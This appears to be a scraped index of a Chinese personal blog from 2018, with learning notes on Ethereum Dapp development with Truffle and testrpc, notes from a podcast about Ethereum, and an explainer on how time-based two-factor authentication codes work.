TruffleContract(AdoptionArtifact); // Set the provider for our contract App.contracts.Adoption.setProvider(App.web3Provider); // Use our contract to retrieve and mark the adopted pets return App.markAdopted(); //进行回调,所以先执行这个 }); return App.bindEvents();}, 这里实现了合约的初始化, 这里加载了Adoption.json，保存了Adoption的ABI（接口说明）信息及部署后的网络(地址)信息，它在编译合约的时候生成ABI，在部署的时候追加网络信息.\n画外音: 这里也是展现了NodeJs的一切皆回调的 异步属性 , 中间部分的代码就是我们执行GetJson的 回调代码.(不同于同步(顺序)编程)\nMarkAdopted markAdopted: function(adopters, account) {var adoptionInstance;App.contracts.Adoption.deployed().then(function(instance) { adoptionInstance = instance; // 这里部署了合约, 并且保存该合约的实例 // 调用合约的getAdopters(), 用call读取信息不用消耗gas, 返回领养者的array return adoptionInstance.getAdopters.call();}).then(function(adopters) { // 得到领养者列表之后, 这里进行遍历, 如果发现有存在合理的领养者(if), 改变前端的按钮样式吧(应该) for (i = 0; i \u0026lt; adopters.length; i++) { if (adopters[i] !== \u0026#39;0x0000000000000000000000000000000000000000\u0026#39;) { $(\u0026#39;.panel-pet\u0026#39;).eq(i).find(\u0026#39;button\u0026#39;).text(\u0026#39;Success\u0026#39;).attr(\u0026#39;disabled\u0026#39;, true); } }}).catch(function(err) { console.log(err.message); //这里捕获异常, 并且log出来});}, 画外音 : then 也是一种回调用法, 在前一函数执行完之后, 才会进行 then 内的函数, 这样就确保了数据的完整获得\n这里实现了 合约的部署, 和对已经领养的dog进行标记, 遍历数组得到, 这个判断方式值得学习.\n绑定事件 bindEvents: function() { $(document).on(\u0026#39;click\u0026#39;, \u0026#39;.btn-adopt\u0026#39;, App.handleAdopt); }, 这个地方就是通俗易懂了,把按钮点击的事件, 和它的服务函数(handle), 绑定起来.\n画外音: JavaScript 是一种事件驱动的语言, 所以, 这里和QT很相似, 也是事件驱动, 用户的点击, 产生事件, 之后调用事件的处理函数,区别于 消息驱动(如MFC)\n服务函数 handleAdopt: function(event) { event.preventDefault(); var petId = parseInt($(event.target).data(\u0026#39;id\u0026#39;)); var adoptionInstance; // 获取用户账号.调用Web3 web3.eth.getAccounts(function(error, accounts) { // 出常的回调 if (error) { console.log(error); } var account = accounts[0]; // 创建合约实例 App.contracts.Adoption.deployed().then(function(instance) { adoptionInstance = instance; // 发送交易领养宠物 return adoptionInstance.adopt(petId, {from: account}); 执行领养函数 }).then(function(result) { return App.markAdopted(); // 标记所领养宠物 }).catch(function(err) { console.log(err.message); }); }); } 这里就是, 鼠标点击事件的服务函数. 当鼠标点击Button的时候事件触发, 服务函数被回调.\n\u0026gt;\n\u0026gt;\n\u0026gt;\nevent.preventDefault()\n该方法将通知 Web 浏览器不要执行与事件关联的默认动作（如果存在这样的动作）。避免服务函数被中断\nparseInt()\n该方法将通知 Web 浏览器不要执行与事件关联的默认动作（如果存在这样的动作）\n写在后面 这次是个简单的demo的实现和分析,也得上是第一个Dapp的实现\n这个Demo 的实现参照博文\n一步步教你开发、部署第一个去中心化应用(Dapp) - 宠物商店\n也感谢博主的OFS的开源精神!(保留版权声明)\n","date":"2018-02-10T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/02/2018-02-10-%E5%AE%A0%E7%89%A9%E5%95%86%E5%BA%97dapp-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","tags":null,"title":"宠物商店Dapp 学习笔记"},{"categories":null,"contents":" 自己的菜鸟级的起步教程,也算是给自己给自己长记性\n准备 什么是以太坊 以太坊白皮书_ZH\n以太坊白皮书_EN\n环境介绍 这里使用了,以下两个开发工具\ntruffle testrpc Truffle 是一个基于js 开发的 以太坊开发框架,其集成很多开发功能及一身, 能够在本地编译, 部署智能合约, 并且可以通过console 对节点进行 rpc 。\ntestrpc 严格意义上是一个节点模拟工具(调试环境), 打开本地端口后, 其数据存在内存中, 不在硬盘的数据库内(不同于 geth ,mist ) 用于测试合约很方便, (如果在geth 上测试合约,需要自己开私链,还是方便了不少)\n工具安装 truffle 安装 truffle 是node.js工程 所以先安装 node.js\n安装环境后 console 执行\nnpm install -g truffle #可能需要权限 安装完成后执行\ntruffle version 回显\nTruffle v4.0.5 (core: 4.0.5)Solidity v0.4.18 (solc-js) 如上安装成功\n这个框架在激烈的开发中,所以不同版本,可能出入大,(反正我是支持支持最新版!)\ntestrpc 安装 npm install -g ethereumjs-testrpc 也是js 开发,所以,一键安装它 执行后,回显如下\nEthereumJS TestRPC v6.0.3 (ganache-core: 2.0.2) Available Accounts ================== (0) 0x819d0cce264d8c7028f079f828ec44ad50ab6f1f (1) 0xa0eb8d663514aed055c26fdfa02082f283e3814b (2) 0x083c2e3debbd83e7193d430c95cb65dfac38be2e (3) 0xa268de20bc84f2a371f46e71dd51a437fd0b2b8a (4) 0x6a183c520fac524984ff620f6962e758b0a72d3c (5) 0xe365cc8ef2ab2bc1bc4d6bbda83a8abb589239cc (6) 0x179aa33ae7918af15c956d8b2c8e784004da30e7 (7) 0x596a67f06884c15ffe9c8767b698730791d6a80d (8) 0x318bb06f46a24a322a2a0a173712b630a41f8755 (9) 0xe1b157fed1cbd523538ed0785bbafef2bb5b5aa5 Private Keys ================== (0) 660f587668641256e4ad353e0a2df52f02524c41641ea3e55aa4ad28300f3c63 (1) 1ff553362355f36b2d2c3bcef0487cbf4a0db041eeab71e00c6bfb5b43a82e67 (2) bd10b1b76af76ab8a02a9299efd9ff3cafff68a6af0adf4b7e1ff83abc50b479 (3) 673ee36f18ee7d58ce0ddfd78b4a584c9b2f12be4c7860d813e9e906582aba15 (4) 794e336225d007e6a3fbd06a60d087fd0a0380fb04a39adbc066e765c676a105 (5) c7cd161d995caf782f90ac51e86aa9acece2dbf2f95e1fa0ddd286c98dcbe6ec (6) 9058ad2690b7db693675badc61388fe563b6b35e800e02e760e8b3a681660470 (7) 5b343a275911d1cb644ef55081feabc5d40fce12e1036b2f2eb3c639763e2f7a (8) fb237a23e02e29711e7050f394c09bdee3d7818ab91dfcb82501773a80b61c5a (9) f6f62f1d1ef0811a9f2c63cde211fc2a57032a4752505cee8e18caa85ff94339 HD Wallet ================== Mnemonic: rose april chef waste mule setup coffee icon upper news amused lecture Base HD Path: m/44'/60'/0'/0/{account_index} Listening on localhost:8545 会自动的分配我们十个地址,用于测试, 打开8545 rpc端口\n环境测试 先启动节点 testrpc\ntestrpc 之后启动truffle的rpc命令行\ntruffle console #可能会有网络问题,见后 当终端1出现\ntruffle(development)\u0026gt; 说明已经,正常接入rpc控制台\n执行命令\ntruffle(development)\u0026gt; web3.eth.accounts[ \u0026#39;0x819d0cce264d8c7028f079f828ec44ad50ab6f1f\u0026#39;, \u0026#39;0xa0eb8d663514aed055c26fdfa02082f283e3814b\u0026#39;, \u0026#39;0x083c2e3debbd83e7193d430c95cb65dfac38be2e\u0026#39;, \u0026#39;0xa268de20bc84f2a371f46e71dd51a437fd0b2b8a\u0026#39;, \u0026#39;0x6a183c520fac524984ff620f6962e758b0a72d3c\u0026#39;, \u0026#39;0xe365cc8ef2ab2bc1bc4d6bbda83a8abb589239cc\u0026#39;, \u0026#39;0x179aa33ae7918af15c956d8b2c8e784004da30e7\u0026#39;, \u0026#39;0x596a67f06884c15ffe9c8767b698730791d6a80d\u0026#39;, \u0026#39;0x318bb06f46a24a322a2a0a173712b630a41f8755\u0026#39;, \u0026#39;0xe1b157fed1cbd523538ed0785bbafef2bb5b5aa5\u0026#39; ] 回显恰好是分配我们的测试地址\n余额查询\nruffle(development)\u0026gt; web3.eth.getBalance(web3.eth.accounts[0])BigNumber { s: 1, e: 20, c: [ 1000000 ] } (好像js 对大数支持不好???)\nQ\u0026amp;A 因为这个版本迭代太快,所以发现网上有些教程,存在各种报错 所以算是自己慢慢摸索考证,解决了部分问题\nQ: 运行truffle console 时 报错,说是网络有问题相关 Error: No network specified. Cannot determine current network.A: 修改目录下的truffle.js的内容 用于指定RPC的地址 ​ module.exports = { networks: { development: { host: “localhost”, port: 8545, network_id: “*” } } };\n至此环境搭建完毕\n开始 上面算是搭建好了开发的环境 下面开始写一个hello world的智能合约\n什么是智能合约 其实在我的理解上 EVM 以太坊虚拟机,就是我们允许智能合约的平台, 我们使用solidity 编写的合约,然后,经过编译器,将其编译成字节码(op) , (真的神奇), 当部署,和使用合约之后,就会被执行 就是一个函数,签订合同的就可以使用(估计错误)\n这样援引一段话\n智能合约只是一些运行在电脑（或其他节点）的区块链加密货币网络的特定代码，一旦节点执行了这个代码，合约就会更新总账（ledger）。所以如果你们熟悉我的话，我喜欢在一些已经存在的概念上(notion)，做一些类比和抽象上的尝试。实际上这可以构建的知识结构，比如模式(schema)。 什么是智能合约\n这里是部分EOS(基于eth的去中心操作系统的部分合约代码)\ncontract DSAuthority {function canCall( address src, address dst, bytes4 sig ) constant returns (bool);}contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner);} 下面是部分的evm机器码(汇编!!!)\nPUSH1 0x60PUSH1 0x40MSTORECALLDATASIZEISZEROPUSH2 0x011bJUMPI 这里是的EOS合约内容\n合约部署 工程模板 truffle 很方便的给我们提供了,便捷的工程模板的搭建\n建立目录hello 执行\ntruffle init 等待片刻\nDownloading...Unpacking...Setting up...Unbox successful. Sweet!Commands: Compile: truffle compile Migrate: truffle migrate Test contracts: truffle test 以上回显 表示模板建立OK 目录结构\nhello├── contracts│ └── Migrations.sol├── migrations│ └── 1_initial_migration.js├── test├── truffle-config.js└── truffle.js3 directories, 4 files 模板初始化完毕\n合约编译 solidity是编写合约的语言,和js相似(奈何没学过),所以从度娘那里抄了一个helloworld\npragma solidity ^0.4.4;contract hello { function sayHello() returns (string) { return (\u0026#34;Hello World\u0026#34;); }} contract {} 说明是合约, 定义函数,说明返回值类型,函数体返回字符串,所以最后应该会显示该字符串(应该吧)\n保存为hello.sol ,保存在contract 目录下 (模板本身自带一个合约,可以删除,可以不动,没影响)\n执行 完成编译\ntruffle compile Compiling ./contracts/Migrations.sol...Compiling ./contracts/hello.sol...Compilation warnings encountered:/Users/r4y/Misc/tmmp/contracts/hello.sol:4:6: Warning: No visibility specified. Defaulting to \u0026#34;public\u0026#34;. function sayHello() returns (string) { ^Spanning multiple lines.,/Users/r4y/Misc/tmmp/contracts/hello.sol:4:6: Warning: Function state mutability can be restricted to pure function sayHello() returns (string) { ^Spanning multiple lines.Writing artifacts to ./build/contracts 警告先忽略, 编译内容在我们的 build/contract 下的json文件中\n合约部署 修改部署脚本 igrations/1_initial_migration.js\nar Migrations = artifacts.require(\u0026#34;./hello.sol\u0026#34;);module.exports = function(deployer) { deployer.deploy(Migrations);}; 部署合约前先要启动节点 执行 以进行合约部署\ntruffle migrate --reset #出现网络问题,要注意网络部署 见前 注意 : 当增加或者删除了某个合约后，可以执行“truffle migrate –reset”命令重新部署合约。 终端回显\n{\u0026#34;type\u0026#34;:\u0026#34;block\u0026#34;,\u0026#34;srcClientIds\u0026#34;:[\u0026#34;9dc0edc1-439b-4432-93c2-b0018a9cebae\u0026#34;],\u0026#34;srcRootClientId\u0026#34;:\u0026#34;\u0026#34;}Running migration: 1_initial_migration.js Deploying hello... ... 0xf4f68259d28b84c26ce9bdfb5b246c40441f2733b7810d555fbcdeda24249b6e hello: 0x84c33260f8085d2b236184734072755cd661dcebSaving artifacts... 同时 节点终端dbg 有我们的TX gas\nTransaction: 0xf4f68259d28b84c26ce9bdfb5b246c40441f2733b7810d555fbcdeda24249b6eContract created: 0x84c33260f8085d2b236184734072755cd661dcebGas usage: 142468Block Number: 1Block Time: Thu Jan 25 2118 xx:xx:21 GMT+0x00 (CST) 合约部署完毕\n合约执行 truffle consloe #进入rpc 命令行ruffle(development)\u0026gt; var contractundefinedtruffle(development)\u0026gt; hello.deployed().then(instance =\u0026gt; contract = instance)......truffle(development)\u0026gt; contract.sayHello.call()\u0026#39;Hello World\u0026#39; 至此HELLOworld 总算是hel出来了\n常见问题 Q\u0026amp;A\n","date":"2018-02-08T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/02/2018-02-08-%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6-helloworld/","tags":null,"title":"智能合约 HelloWorld"},{"categories":null,"contents":"听了Terry Tai 和 Jan Xie 两位大神的 TeaHour 电台里谈到ethereum, 受益良多.\n这篇文章算是自己的笔记, 边听边记吧. 再自行整理的 :-)\n下面把内容的链接放出来\n这次我们聊聊超酷的Ethereum\n语录:\nruby - 参差多态才是幸福的本源\n有屠龙刀, 没有龙\n大神做的事情,不一定适合众生\n区块链杂谈 自从比特币掀起了区块链的浪潮, 也得益于其代码的开源性质, 所以各种各样的币也就横空出世, 比如\n优化加密算法(scrypt)和出块速度的 LTC 主打加密匿踪的 ZEC 社区支持的DASH etc…. 这一类基于比特币思想, 再加上特定的其他特性(feature)的币 , 就统统称为Copycat coin (山寨币)\n但是, 实际上这些种类的数字货币是不具有图灵完备.\n以上就是我们的区块链1.0时代\n现在的Ethereum Ethereum的横空出世 以太坊是 Vitalik (当时才18岁, 天才骚年!) 提出, 并设计架构的一个区块链系统, 这个系统具有准图灵完备性(最近才支持循环).\n这个项目也是个众筹项目, 众筹当时是众筹了30K个BTC, 折合成当时的币价的话大约 有一千八百万刀, 也正是这个项目的亮眼之处吸引了众多的投资者, 因为它力在搭建一个 platform 而不是基于BTC进行fork的另外的一种币而已.\nVitalik 其人, 据说是一周读两本书的, 主要是使用python进行开发, 可是这样的一个大神据说搞不定装 ARCH\nBTC 的是采用的CPP进行的开发. ETH则是采用了go/python/C++ , 这三种语言开发了三个独立可用的节点应用(Jan吐槽:有钱..), 不过现在CPP的项目组已经退出了以太坊基金会了, 转而进行基于ETH的私链开发咨询.\nETH之所以选择了go,由于其强大的网络功能和与生俱来的并行特性\nGAS的作用 ETH的网络上存在着GAS这一东西, 顾名思义是汽油, 也就是在以太坊网络上计算所需要消耗的东西\n停机定理(halting problem) 证明一个程序能不能终止, 是不可能的 – Turing\n停机问题 是个逻辑学和数学的问题,\n参考文章:\n如何通俗地解释停机问题\n所以在以太坊这个平台上,为了防止恶意行为阻塞网络, 比如一个死循环.\n工程师和科学家的思想就从现在体现出来了, 防止网络堵塞问题,如果数学上, 只能去解决这个停机问题. 但是工程上呢, 机智的添加了gas这个东西.\nGAS 和以太币是两个东西, 以太币和gas有一个汇率.\n为了使得计算的成本不随着币价波动,GAS作为中介把运行成本和以太币价格解耦 ,( 保证计算消耗和法币是对等的), 最后也是被矿工收走.\n所以这样, 随着计算的进行, gas被消耗掉, 如果程序过于复杂, 或者是死循环, 那么就会抛出一个 OUT of GAS的异常, 并且回滚所有的数据改变\n很机智的绕过了停机问题, 精妙!\nSolidity 语言 Solidity 是一种类似于 JavaScript的语言 , 虽说语法想像, 可是写起来的感觉是完全不像的.\n现在问题还是有待解决的, 比如: 返回值难得到, 返回变长数组, 循环支持(现在已经有了)\n所以实际上Solidity的vers 只是算得上 零点几吧, 算得上是一个alpha (现在可能是beta了吧)\n分布式数据库 如果一个区块链应用, 从架构上可以直接把数据库替换成区块链, 理论上理解就是这么简单\n可以直接使用 client 对区块链进行操作.\n比如这里有个论坛, 论坛使用 js 来进行区块链的读写, 当我们跑起自己的节点的时候相当于每人都有自己的一个网站\n正如 sql 和数据库沟通, json rpc 可以控制节点\n异步问题. 由于区块链的POW的共识机制, 现在如果我要把a = 1, 可是必须要等到矿工挖到块之后, 才会计算(给a赋值), 还需要一定的时间广播到全网, 过程是十分的异步\nEVM的计算 ####计算过程\n使用Solidity 写一个合约, 相当于一个 class , 可以调用 json rpc , 编译成opcode, 在evm 上运行…\n出块时间 BTC时间\n在BTC的网络是 10分钟出块, 60分钟 6 次确认. 所以我们一次交易得到处理的时间是十分钟, 完全放心就是一个小时了. 所以这个是还是相当久的\nETH时间\n在以太坊上的话, 是有所提速的,由于在网络传播的速度是有限的, 所以对共识的时间有很大的影响.\n如果高峰时间, 会出现了分叉, (同时挖出). eth 出块时间短了, 导致了分叉的很多, 出块的时间, 基本是15S 出块(单机测试是5S),这样的分叉出块, 被称为uncle(叔块)\n参考文章:\n以太坊中的叔块(Uncle Block)\nETH目前面临的问题 共识机制 dapp都是运行在EVM虚拟机上的, 使用pow , 虽然确认时间缩短 , 可是还是需要几分钟才能得到若干个确认,因为在POW的机制下的电脑一起做运算, 采取谁解出了这个块, 那么就采用谁的, 其他的全部从新开始, 其实这样就是单台电脑的计算能力了,\nETH之前决定使用Pos 可是实现过程受阻(deadline),为了尽快的实现这个plafrom ,所以先使用pow\nETH基金会承诺以后后会实现PoS的共识机制, 所以这点也很有意思的导致了eth 是没有矿机的, 因为害怕Pos转型, 这样矿机就一文不值了呀\n方案 新的共识机制\n以太坊 最后会实现Casper 作为新的共识协议, 其中有验证人节点, 交了押金作为一个可信对象, 如果说交易验证通过(是正确的块)的话, 使用自己的私钥对这个区块进行签名, 之后在全网得到共识, 这样是可以实现秒级的确认.\n网络分片(shard)\ndefcon 上 的方法, 就是对eth的网络, 进行网络分片.不同的合约类型, 放在不同的网络片上,虽然说挖矿这种方式是为了实现一种网络信任, 不过还是有一定的优化空间, 动态网络分片 2^16 个shard(分片)\n隐私问题 由于当前区块链技术网络上所有的数据都是透明的, 每个区块数据,都是可见的. 所以隐私问题是值得关注的一点\n方案 采用同态加密技术\n引用百科对于同态加密的定义\n对经过同态加密的数据进行处理得到一个输出，将这一输出进行解密，其结果与用同一方法处理未加密的原始数据得到的输出结果是一样的。\n参考文章:\n同态加密的实现原理\n伸缩性问题 早期的比特币是没有区块容量限制的, (一个区块就是十分钟里的所有链上数据的打包), 这样导致了一个交易被恶意的加入了大量的无用数据, 这样会白白牺牲节点的硬盘空间. 所以后面中本聪(Satoshi Nakamoto), 加入了1MB的区块大小限制, 并且也制订了后面的增长.\n这1MB的区块容量也决定了, 区块的最大交易处理速度. 关联过程如下:\nTPS = BlockSize / TxSize / (10 * 60) 一般的一次转账交易的数据大小是250B左右(BTC), 这样得到最后结果 TPS = 6Tx/s\n所有由此见到区块小了, 网络速度就下降. 可是如果区块足够大, 又存在着节点空间的问题, 间接导致了比特币的中心化. 历史上关于比特币的扩容问题, 十分的激烈, 隔离见证, 闪电网络.\n由于共识机制的存在 , 算力份额相当于手上的票一样 , 就是在矿工手上, 更明确的说, 是在矿池 , 和矿老板的手上 , 可是他们的目光只是保证自己的收入稳定, 这些观点往往和开发者是冲突的. 所以引起了扩容战争.\n还有一件引人注意的事情,\n比特币核心开发者Mike Hearn发表文章称比特币实验失败了，指出它被中国控制了，他宣布退出比特币项目，卖掉所有的币。Mike Hearn说，他很早就告诫其他人，比特币是一个实验，和所有实验一样，都可能会失败，如果不能承担损失不要去投资。但得出比特币已经失败的结论时，他仍然很伤感。比特币的基础已经破坏，不管短期的价格如何变化，它的长期趋势将是下滑。\n以下来自博客翻译：\n为什么比特币失败了？因为社区垮掉了。这个所谓的去中心化数字货币系统被少数人掌控，更糟糕的是，整个网络正处于技术崩溃的边缘。比特币不再好于现有的商业支付系统，它的手续费甚至超过了信用卡的交易费。他说，最根本的原因是中国的矿工控制了比特币，仅仅两个矿池的算力就超过整个比特币网络的50%。超过95%的算力控制在上面这幅图中的人手中。这些矿工不再允许块链增长。他们拒绝对比特币软件进行必要的修改，他们担心如果比特币太流行的话会被防火长城盯上，屏蔽掉比特币网络，导致他们失去收入。为了改进交易速度，增加区块大小，比特币社区去年就创建新分支举行投票，投票的方式是运行名为比特币XT的挖矿软件。比特币XT与现在的比特币核心挖矿软件没有区别，但是当有75%的节点运行XT，分支将会正式创建。但比特币XT引发了控制者们的强烈反对，比特币最大论坛 的管理员以缺乏民主为由封杀了比特币XT的讨论。更恶劣的是，当比特币XT节点占到总节点的15%时，XT用户遭到了大规模DDoS攻击，大到足以瘫痪矿工所在ISP的整个网络。这一信息很明确，任何支持大区块的人都会遭到攻击。攻击还在继续，创业公司Coinbase宣布支持XT时他们被攻击而下线了一段时间。他声称，比特币航行到了一个极端危险的水域，与http://bitcoin.org 的管理员以缺乏民主为由封杀了比特币XT的讨论。更恶劣的是，当比特币XT节点占到总节点的15%时，XT用户遭到了大规模DDoS攻击，大到足以瘫痪矿工所在ISP的整个网络。这一信息很明确，任何支持大区块的人都会遭到攻击。攻击还在继续，创业公司Coinbase宣布支持XT时他们被攻击而下线了一段时间。他声称，比特币航行到了一个极端危险的水域，与Mt Gox破产危机不同，这一次的危机发生在核心系统。他最后祝所有的人好运\n参考文章:\n比特币扩容之战\n为什么比特币硬分叉不会分裂成两个币\n比特币实验失败了?\n存储问题 区块链在现在的阶段, 智能存储小量数据, 如果打算在上面存一部电影,当前还是无法实现的. 所以现在的发展趋势之一就是添加区块链的存储层的解决方案\n在当前的众多区块链项目中, 不乏分布式存储的项目, 如下有:\nIPFS (没有经济激励)\nSwarm (添加了IPFS的经济激励) Sia storJ 上面这几项, 经过几年的发展基本上是可以用的程度了\n问题 过度依赖于经济激励, 而不是算法上解决的, 经济激励不是最logic的方式. 但是呢, 这些项目又是不具有图灵完整的,所以与ETH整合才是王道\n理应使用算法优先吧 2333\n以太坊的部分Q\u0026amp;A 公链和私链的区别 Public chain 和 private chain, 主要的区别在于 参与共识过程的人是否有准入门槛\n联盟链, 多个地方一起跑起进行一个区块链的维护. 联盟链的应用, 很好的适用于银行, 这样数据库公有, 特别是跨行转账\n联盟链特定用于解决了 : 审计方面的痛点, 事实上金融业早都在研究区块链了!\n/eth的私链 由于Pow的共识机制, 主要用于解决公网上的共识问题,拜占庭将军问题. 避免网络上出现了大量的恶意节点对网络发起了攻击(女妖攻击) ,\n如果现在我们到了私有网络, 就没有必要使用POW机制了, 否则这个机制就是解决了一个本来就不存在的问题. 所以可以把共识机制, 改为其他的拜占庭容错. 这样也可以得到更快的出块速度\n这些项目到底是什么? 区块链 可以被认为是一个可信数据库, 以太坊是基于区块链技术的EVM 实现了可信计算\n94年互联网,就是现在的区块链!!!\n区块链只是使用P2P下载账本? 其实不然, 不然,忽略了很多东西,\n借助微博上的一句话：\n你们知道比特币、以太坊、亦来云的区别吗？\n比特币=可信记账； 以太坊=可信记账+可信计算； 亦来云=可信记账+可信计算+可信应用环境； 很多人认为区块链的项目还是国外的靠谱，其实中国在区块链方面已走在世界的前列，比如亦来云就是最典型的例子。\n这里也算是自己了解到了亦来云这个项目 , 这个说实话 需要好好关注一下.\n与其类似的还有一个叫做基石的国外项目,(国人在币交易市场上叱咤, 导致现在这个项目是需要KYC(know your customer)了, 结果现在国人连公募资格都批不了了!!!ƒk), 这个项目几个小时就筹齐了!!\n项目地址:\n基石项目\n亦来云项目\n区块链和分布式数据库的区别 传统的分布式数据库, 如何可以并行的写?\n由交易方发起交易请求,BC 可以做到选择交易和交易排序, 这样就在节点可以解决数据冲突,和消除错误虚假数据.\n这样就不是, 由用户直接操作数据, 重要的达到可信.\n这样想, 分布式的数据库, 有数据库本体, 和用户, 这两部分, 用户写入, 数据库存储.但是区块链, 更是一个体系! 用户发送交易请求, 开发负责网络的应用部署, 矿工来实现计算和合法性校验\nETH的未来展望 设想 目前有三个层面的设想, 金融, 存储, 和物联网\n电子证据保全, 使用区块链的存储功能. 基于区块链交易所, 保证交易过程的完全可信\n(三全分立! , 用户交易, 你的程序, 在节点执行)\n由于现在的区块链的储存能力, 计算能力还不强.所以, 这两个方面还是有很长的路要走, 但是现在的功能已经和金融有了很好的适用, 金融的本身就是小数字和计算\n金融: 使用去中心化的思想实现一个稳定的货币,\n差价合约, A和B都在一个合约里面放1K个ETH, (假定当前币价是10) 一个月后拿出, A就得到10K等价的ETH(以现在的法币价), B得到剩下的那一部分, 所以这样A 得到了一个价格稳定的币价保证.这合约很好解决.\n但是问题是, 我的智能合约在EVM中运行, 和外界的数据是没有联系的, 也就没办法得到当前的币价, 所以需要一个角色来输入ETH的当前的币价, 但是这样就无法保证这个角色的可信.\nVitalik 就提出了一个概念,\n在博弈里面 (common knowledge)公有知识是很重要的,\n两个人去纽约, 没有对方的信息,而要会面,怎么办?? 很大的可能,大家会在自由女神像会面,这个就是体现了(common knowledge)公有知识的力量\n你是这样想,你相信想另一个人会这样想, 你相信另外一个人会相信你会这么想,无穷的递归\n这个其实也是POW 的博弈原理, POW的挖矿\n如何使用公有知识, 实现可信的链外输入.\n博弈原理: 例子: 如果有 1000 个人, 每个人写下币价, 如果在25%-75% 范围以外的人, 会有惩罚, 人们互相是不知道别人的价格, 所以最后,会靠近最正确的,(这就是common knowledge), 也就是囚徒问题的变种.\n物联网应用 区块链在物联网方向是有很美好前景的, 之前就有过 IBM和Sumsung 的合作, 曾经使用基于以太坊的demo, (Adept)\nAdept项目地址\n因为区块链上很自然的有价值和所有权的转移, 所有可以很好的保证物品之间的经济行为. 使用区块链登记物品所有权换转移, 比如出租.\n有个项目, Slock是基于以太坊的行为, 把物联网,共享经济和区块链相结合起来, 就是把物联网抽象为一把锁(真实世界的锁), 锁的所有权可以在区块链上面进行转移. 这样就可以通过合约实现一个 临时的所有权转让,\nSlock项目地址\n现在已经有物联网的锁了, 但是这样通过中心化的第三方, 这样就不能确认是不作恶的. 所有如果放在区块链上就得到了很好的信任解决\n很多人并不介意 中心化的架构, 区块链的引用不能破坏 当前的中心化体验\n现在比如基于BC的物理 和 产品溯源\n有趣的应用 庞氏骗局网站 这个就厉害了, 项目名就是庞氏骗局, 而且就是一个庞氏骗局…明文写着, 把后面人的钱分给前面加入的人, 很多人参入的!\n其实我想通了一个事情, 传销的人知道这是传销, 但是总是幻想自己不是那个最底层的韭菜, 大家其实知道这是传销, 无所谓~\n百万格子 传奇项目百万格子\n这些人不得不服, 实话\n区块链随机数 区块链上很难产生一个随机数, 如果我们使用POW的X ,\nRANDAO\n区块链定时问题 定时任务以太坊网络其实是一个, 是一个状态机, 给了event 然后做出反应, 所有区块链上需要一个合约, 或者DAO\nAalarm Clock 现在区块链相当于上世纪的互联网(九十年代)\n着手 学习以太坊的智能合约的开发\n把bug说成feature\n结语 这次teahour的内容真是受益匪浅, 通过这篇学习记录越来越坚信, 坚信区块链有一个光芒的未来\n","date":"2018-02-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/02/2018-02-04-teahour_eth%E7%AC%94%E8%AE%B0/","tags":null,"title":"TeaHour_ETH笔记"},{"categories":null,"contents":"前 登陆在现在的网络生活中是少不了, 登陆的本质就是认证(authentication)\n通过认证, 来证明你是就你, 不是别人冒充,顶替的(知道密码的委托人除外)\n昨天注册了一个网站, 和正常一样, 账号密码, 可是最后, 有了一项 2FA 绑定, 需要谷歌验证器. 打开后, 一种似曾相识的感觉飘来, 没错,就是很久很久以前的qq令牌,依稀记得这个是S40的jar了.\n小时候就像过, 这个怎么这么神奇, 又不联网,怎么能都知道密码是多少呢.所以,当日常百科,来个所以然\n2FA的概念 2FA 是(two-fact authentication)的缩写, 下面是百科的定义\n2FA是基于时间、历史长度、实物（信用卡、SMS手机、令牌、指纹）等自然变量结合一定的加密算法组合出一组动态密码，一般每60秒刷新一次。不容易被获取和破解，相对安全。\n其实2FA 广义上说是一种认证方法, 比如去银行取钱, 银行卡, 和它的密码都需要,你才能取出钱来, 这个就是一种广义上的2FA.再者也有网上银行的U盾(虽然真的很鸡肋), 也是实现2FA, 它里面有着证书.\nOTP概念 OTP(one-time password), 一次一密, 如果有点密码学的基础, 就知道一次一密, 理论上是绝对安全的.\n其实在现实生活中, OTP也是存在的比如最常用的短信验证码, 邮箱验证码. 这些都是算的上是一次一密, 只不过,显得不是那么专业.\n(现在我国的短信,还是使用的2G频段的明文SMS, GSM嗅探很容易就做到)\n认证器的原理 使用认证器的时候, 有以下几个步骤\n会从网站上获取一个秘钥. (这样服务器和手机都会有这个串) 成功导入之后, 会有一个6位的数字, 而且是动态的 在服务器输入当前的数字,以便验证 其中基本的原理, 就是这个hash(pri-key, time)\n服务器进行验证\nif(input() == hash(pri-key, time)) ...else ... OTP原理 上面的伪代码看上去是那么回事, 可是时间虽说是统一变量, 不同设备之间当然会有不同的时间差, 那么如何保证这个问题.\n的确, 这个是时间, 是服务器和客户端直接获取的本地量, 如果直接进行hash, 那么肯定会因为时间细小差别导致认证失败. 我们一般见到, 验证码是有一定的有效时间的, 这个也就是精妙之处的存在\n假定有一个函数gettime(), 可以获得时间戳(unix-timestamp)(1970-1-1)到现在的秒数\nhash_para = gettime() / 30 //这样进行除运算,得到的是到现在有多少个三十秒 这样,就完美的解决了这个问题, 保证了密码的动态, 和准确\n(设备时间, 不能喝网络时间错的太远…还记得那时候 的qq令牌, 时间不对, 密码不对, 当时差点炸掉)\n编程实现 后记 这种基于时间的2FA, 算是十分安全的了, 比那一成不变的密码(admin),好上太多了.\n不过,如果在传输过程中泄漏了pri-key, 那也是完了…\n","date":"2018-01-31T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/01/2018-01-31-2fa-%E5%8F%8C%E5%9B%A0%E7%B4%A0%E8%AE%A4%E8%AF%81/","tags":null,"title":"2FA 双因素认证"},{"categories":null,"contents":"偶然间看见了网上的这样一段话。\n任何在我出生时已经有的科技都是稀松平常的世界本来秩序的一部分。 任何在我15-35岁之间诞生的科技，都是改变世界的革命性产物。 任何在我35岁之后诞生的科技，都是违反自然规律要遭天谴的。 